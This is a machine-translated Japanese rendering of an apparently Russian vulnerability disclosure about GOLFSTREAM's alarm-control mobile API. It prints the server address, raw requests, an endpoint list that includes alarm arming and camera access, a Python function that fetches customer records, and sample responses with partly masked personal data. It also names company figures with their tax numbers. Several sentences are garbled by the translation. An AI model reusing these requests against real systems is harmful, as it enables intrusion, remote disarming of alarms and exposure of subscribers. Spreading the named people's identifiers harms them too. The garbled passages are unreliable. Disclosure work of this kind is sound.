この出版物は情報提供のみを目的としており、ロシアの大規模なセキュリティアラームシステムオペレーターであるGOLFSTREAM Security Systems (GOLFSTREAM)の管理者に、市民の保護とセキュリティを脅かす情報システムの脆弱性の存在、および保護を委任した連邦行政機関の注意を喚起することを目的としていますこの会社の所有財産。
注意 : Casta-Scrapaバンドの音楽のテキストを読むことをお勧めします。以下で説明する状況の全体的な絶望をよりよく理解するのに役立ちます...
まえがき
「デジタル経済」とインターネットを規制しようとする権力の困難な時代に、私はこの世界の改善へのささやかな貢献を貢献し、ある民間企業からの情報セキュリティに対する態度を明らかにしたいと思います。 私たちの出版物では、GOLFSTREAMがこの問題を無視していることを実証し、それにより、一般ユーザーや市民だけでなく行政当局も代用しています。
少し前に、Expocod社が自由に使えるのは、GOLFSTREAM社の情報システムに重大な脆弱性が存在するという情報でした。 信頼できるデータによると、この脆弱性により、アラームシステムのユーザーの個人データにアクセスしたり、膨大な数のオブジェクトのアラーム状態をリモートで制御したりすることができます。
この情報を受け取ってから、GOLFSTREAMの管理者に連絡する試みを繰り返しましたが、これまでのところ、これらの試みはいずれも成功していません(電子メール4通、電話3通、電報メッセージ、オフィス訪問、代表者との対面コミュニケーション会社)。 「Expocod」という会社がロシアの情報セキュリティの全体的なレベルを上げることを目指しているという事実と、「Gulfstream」という会社の代表者が私たちの多数の信号を無視しているという事実を考えると、一般的な技術的詳細を開示して、情報を自由にメディアに公開することが決定されました。
会社「Gulfstream Security Systems」に関する一般情報
会社の公式ウェブサイトに提示された情報に基づいて、GOLFSTREAMグループの企業はほぼ23年間セキュリティ市場で働いています。 公式サイトからの広告では、23年のGOLFSTREAMの仕事(引用):「実績のあるソリューション、75,000の顧客、あらゆる段階での品質、スタッフの資格...」。
法人の州の登録に関する情報のデータベースをすばやく検索すると、次のことがわかります。
- 責任限定民間セキュリティ組織「GOLFSTREAM SECURITY SERVICE」
PSRN / TIN 1107746777380/7715829624
登録日2010年9月23日
登録資本金250000r
IVANOV ALEXEY VLADIMIROVICHジェネラルディレクター(TIN 504008784580)
創業者PISMAN VENIAMIN FONEVICH(100%を共有) - 責任限定民間セキュリティ組織「GOLFSTREAM SECURITY SYSTEMS」
PSRN / TIN 1097746799875/7715787653
登録日12/14/2009
登録資本金250000r
ゼネラルディレクターSAMODUM STANISLAV ALEXANDROVICH
創業者ピスマンベニアミンフォネヴィッチ(シェア99%)、SAMODUM STANISLAV ALEXANDROVICH(シェア1%)
したがって、オープンソースは、GOLFSTREAMの所有者(および取締役会の議長)がPisman Veniamin Fonevich(TIN 771805121540)であることを示唆しています。
この機会を利用して、私たちはベニアミン・フォネヴィッチに燃えるような挨拶を送り、この資料の出版のずっと前に知らされた彼の会社の従業員の行動または無作為に注意を払うようにお願いします。
私たちの話の技術的な部分に直接目を向けると、「Expocod」という会社が脆弱性の存在に関する信頼できる情報を持っていることを改めて注目する価値があります。 ただし、この脆弱性は独立したセキュリティ研究者によって発見されたという事実により、部分的な詳細のみがあり、この脆弱性を使用して取得できたデータはありません。 著者と彼の許可を得て、重要な詳細を示すことなく技術的な詳細を公開していますが、その知識は操作を成功させるために必要です。
脆弱性の説明
モバイルアプリケーション(MP)とコントロールセンター(CC)間の相互作用のプロトコルに脆弱性が存在します。 公開の時点で、iOS用アプリケーション間の通信プロトコルが調査されています(アプリケーションの最新バージョンの日付は2017年6月29日です)。 このプロトコルは、HTTPの上に構築されたRESTのようなインターフェースです。 コントロールセンターへのリクエストの形式は次のとおりです。
POST http://195.19.222.170/GulfstreamWebServices/rest/[method] HTTP/1.1 Accept: */*, Accept-Encoding: gzip, deflate Accept-Language: en-us Connection: keep-alive Content-Type: application/json Proxy-Connection: keep-alive User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0 { userID: [userID], userToken: [userToken] }
最初に目を引くのは、データ暗号化がないことです。 つまり、MPとコントロールセンターの間の重要な情報の交換は、パッシブリスニングからの保護なしで、オープンな通信チャネルを介して実行されます。 制御チャネルでのMiTM攻撃からの保護に役立つ可能性がある証明書のピン止め技術も使用されていません。 私たちのケースでは、学生でも使用できるmitmproxyアプリケーションを使用してプロトコルを簡単に分析します(そして、アラーム管理アプリケーションは重大な目的のために設計されています)。
次のステップは、おそらくuserID
やuserToken
などのパラメーターの説明から開始する必要があります。 明らかに、 userID
はモバイルアプリケーションのユーザーの識別子であり、 userToken
はこのユーザーがシステムの機能にアクセスできるようにするトークンです。 システムのユーザー登録機能をより詳細に検討してください。
POST http://195.19.222.170/GulfstreamWebServices/rest/profile/register HTTP/1.1 Accept: */*, Accept-Encoding: gzip, deflate Accept-Language: en-us Connection: keep-alive Content-Type: application/json Proxy-Connection: keep-alive User-Agent: SecurityApp/190 CFNetwork/811.5.4 Darwin/16.7.0 { contractNumber: [contractNumber], deviceToken: [deviceToken], deviceType: 1 }
この関数は、システムにMPの登録を実行します。 登録パラメーターは、デバイスの契約番号と一意の識別子です。 以下は、異なるdeviceToken
値を使用して同じコントラクトの新しいデバイスを登録しようとするシステム応答です。
deviceToken = E3cDC2DdCdf75afc5865DBE2Ead3a4BB2fdB2CabBD441ADDaaa81ea8Dfd9C9ae Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":71671,"userToken":"dkJCRVg=","contractNumber":"495020xxxx","phone":"7******7007"}} deviceToken = 7e3280581591Af0e5eaabadbE5b33B0Af84e20CBBd16226a22f5C3570A02B341 Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72033,"userToken":"dkFEQVo=","contractNumber":"495020xxxx","phone":"7******7007"}} deviceToken = aEd42FB8CBf8Af3E9Ec6Af8cad0C4deF2eaeF200EaBFf4DDFeeDFF4106CC703A Reply >> {"IsError":false,"ErrorObj":null,"Result":{"userID":72072,"userToken":"dkFERVs=","contractNumber":"495020xxxx","phone":"7******7007"}}
ご覧のとおり、リクエストへの応答は、特にuserID
userToken
とuserToken
を含むJSON構造です。 さらに、応答には、契約者の部分的に隠された電話番号が含まれています。 また、現在、システムには約72,000人のユーザーがいる(または、新しいdeviceToken
を使用するdeviceToken
新しい「一意の」 userID
生成されるため、MPの登録を試みる)こともわかります。
ただし、最も驚くべき発見は次のとおりですuserID
番号が順番に発行され、 userToken
トークンの構造に特定のパターンが観察されます... userToken
がuserID
に何らかの形で依存している、 userToken = f(userID)
と仮定できます。 しかし、この機能は何ですか?
私たちに連絡してこの情報を送信したセキュリティ研究者が正確な機能を確立する方法を正確に知ることはできませんが、彼によると、この機能は...通常のXORです!
したがって、 userID
値の範囲(0..72k)とuserToken
を計算する関数を知っていると、たとえば次のシステムREST APIにアクセスできます。
GulfstreamWebServices/rest/profile/updateUserDeviceToken GulfstreamWebServices/rest/profile/getCustomerDetails GulfstreamWebServices/rest/profile/getCustomerProfileImage GulfstreamWebServices/rest/panel/getEstimateArmState GulfstreamWebServices/rest/panel/setArmState GulfstreamWebServices/rest/panel/getEventHistory GulfstreamWebServices/rest/panel/getNotifications GulfstreamWebServices/rest/panel/getAvailableNotificationExtendedList GulfstreamWebServices/rest/panel/getNotificationState GulfstreamWebServices/rest/panel/getRemoteTags GulfstreamWebServices/rest/panel/updateRemoteTagState GulfstreamWebServices/rest/panel/getVideo GulfstreamWebServices/rest/panel/getAllVideos GulfstreamWebServices/rest/panel/getPanelCameraList
提示されたリストは決して完全ではありません。 ユーザーIDを検索する機能とともに、保護対象の完全なデータベースを取得できます。 したがって、たとえば、以下はユーザー情報を要求するpython関数です。
def gs_api_get_customer_details(u, t): r = s.post( 'http://195.19.222.170/GulfstreamWebServices/rest/profile/getCustomerDetails', headers = { 'Accept': '*/*', 'Accept-Encoding': 'gzip, ' 'deflate', 'Accept-Language': 'en-us', 'Connection': 'keep-alive', 'Content-Type': 'application/json', 'Proxy-Connection': 'keep-alive', 'User-Agent': 'SecurityApp/190 ' 'CFNetwork/811.5.4 ' 'Darwin/16.7.0' }, json = { 'userID': u, 'userToken': t } ) return r.json()
userID = 296
ユーザーのprofile/getCustomerDetails
を使用して何を取得できるかをprofile/getCustomerDetails
ましょう。
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '71/*****', 'fullName': ' ', 'address': '. , - , . ******, ******-21, . *****', 'accountStatus': 1001, 'paidTill': '2017-12-31 00:00', 'debt': '-9560.00', 'hardwareType': 2002, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '*****58', 'activationCode': '', 'intercomCode': '', 'email': 'v*****n@gulfstream.ru', 'telephone': '7910*****38', 'homeTelephone': '+7 (495) *****-82', 'workTelephone': '', 'monthlyFee': '2390.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=71/*****&debt=0', 'userID': 296, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': None, 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': False, 'isRemoteTagsSupported': False, 'longitude': *****, 'latitude': *****, 'timeZone': 'Europe/Moscow', 'balance': 9560.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': False, 'isTemperatureReadingSupported': False, 'temperatureSensorTimeout': 80, 'timeZoneName': ' (GMT+3)', 'timeZoneOffset': 180}}
ご覧のとおり、オブジェクトのアドレス(意図的に隠されている)はZhukovka-21 NPに属します。Zhukovka-21NPの共同設立者は、オープンソースからの情報によると、尊敬されているVeniamin Fonevich自身です。
したがって、 userID = 296
は、 userID = 296
社の創設者とは考えられないほど似ています。 以前に公共のソースから取得した情報は、このデータの信頼性を確認します。
もう1つの興味深いAPIメソッドはpanel/getVideo
です。 これにより、アラームに適切な機器が装備されていれば、サイトに設置されたカメラからビデオを取得できます。 例として、 userID = 70072
ユーザーの動画を見てみましょう。
{'IsError': False, 'ErrorObj': None, 'Result': {'contractNumber': '******', 'fullName': ' ', 'address': '. , . , . 62', 'accountStatus': 1001, 'paidTill': '2016-04-26 00:00', 'debt': '0.00', 'hardwareType': 2004, 'hardwareHasAddendum': False, 'hardwareHasNightMode': True, 'panelID': '00146737', 'activationCode': '', 'intercomCode': '', 'email': 'csm_tech@gulfstream.ru', 'telephone': '7926322****', 'homeTelephone': '7495980****', 'workTelephone': '', 'monthlyFee': '690.0', 'paymentSiteURL': 'http://www.gulfstream.ru/abonents/payment/?from=app&contractID=*****&debt=0', 'userID': 70072, 'userToken': '*****', 'deviceToken': None, 'deviceType': 0, 'accountName': ' ', 'averagePanelTime': 25, 'averagePanelTimeEnd': 120, 'shouldShowPaymentInfo': True, 'isPhotoSupported': True, 'isRemoteTagsSupported': True, 'longitude': 37.583751, 'latitude': 55.803008, 'timeZone': 'Europe/Moscow', 'balance': 0.0, 'smartPlugTimeout': 80, 'isSmartPlugsSupported': True, 'isTemperatureReadingSupported': True, 'temperatureSensorTimeout': 80, 'timeZoneName': ' (GMT+3)', 'timeZoneOffset': 180}}
おそらく、このオブジェクトは会社「Gulfstream」のオフィスです。
もう1つの興味深い機能は、連絡先情報リクエスト機能であるpanel/getRemoteTags
です。 非接触キーを備えたオブジェクトを使用すると、キーのシリアル番号に関する情報を取得するだけでなく(キーの複製が可能になります)、特定のキーをオフにしてシリアル番号を置き換えることもできます。 次の図は、mitmproxyの使用方法を示し、会社のオフィスにあるテストベンチのシリアルキーを示しています(すべて同じuserID = 70072
、Pasha、Kolya-hi)。
結論として、このプロトコルを使用すると、オブジェクトから情報を要求することに加えて、シグナリング状態を制御できます。 panel/setArmState
を使用すると、ソファから立ち上がることなく、7万個のオブジェクトのいずれかでアラームをオンまたはオフにできます。 カーテン。
主な調査結果
混乱したプレゼンテーションを要約すると、GOLFSTREAMが開発したアラーム管理システムには、少なくとも次のことを許可するエラーがあることに注意してください。
- このアラームがインストールされているシステムおよびオブジェクトのユーザーに関する情報を受信する
- アラームのリモート制御-有効化および無効化
- 独自のキーを追加したり、既存のキーを無効にする機能など、非接触キーをリモートで管理します
- 監視カメラからリモートで情報にアクセスする
私たちは正直に、この情報を受け取った瞬間からほぼ2か月以内に、この情報をGOLFSTREAM会社の代表者とその経営者に届けようとしました。 現在まで、このエラーは修正されていません 。 誰が、どのように、どのような目的で使用できるかを推測することしかできません...
合理的な疑問が生じます-会社の創設者が家の保護をGOLFSTREAMに信頼している場合、これは「セキュリティの権利を持ちたい」一般市民にとって従うべき例でしょうか?
私たちの答えはノーです!
また、GOLFSTREAMの保護の対象の中に、ルブルボウスペンスキーハイウェイにあるFSOおよびUDP施設、および重要な公益事業があることも興味深い...
FSOのディレクターであるD. Kochnevが、マウスをクリックすることで多くの部門の施設に行くことができることを知って喜んでいるのは興味深いですか? しかし、ピズマン氏のところに行き、彼に過失の責任を負わせ、ジューコフカの近くの記録(結局のところ、彼は彼自身のシステムの愛国者)に従って生活しているのは簡単で簡単です-石を投げ捨てるか、または黒の漏斗を送るのがさらに良いです。
PSそれとは別に、湾岸安全保障理事会とその従業員のコミュニケーションスタイルに注目する価値があります-会話の後に最初に頭に浮かぶ見出しの町の言葉(記録があります)。
PSS 2017年9月27日、朝。 この問題を会社の経営陣に伝えることができてうれしいです。この経営陣は約2年間存在しました(モバイルアプリケーションのリリース時間)。 現時点では、会社のサーバーは切断されています-論理的な思考の流れであり、サーバーはありません-脆弱性はありません(少なくともこれ..)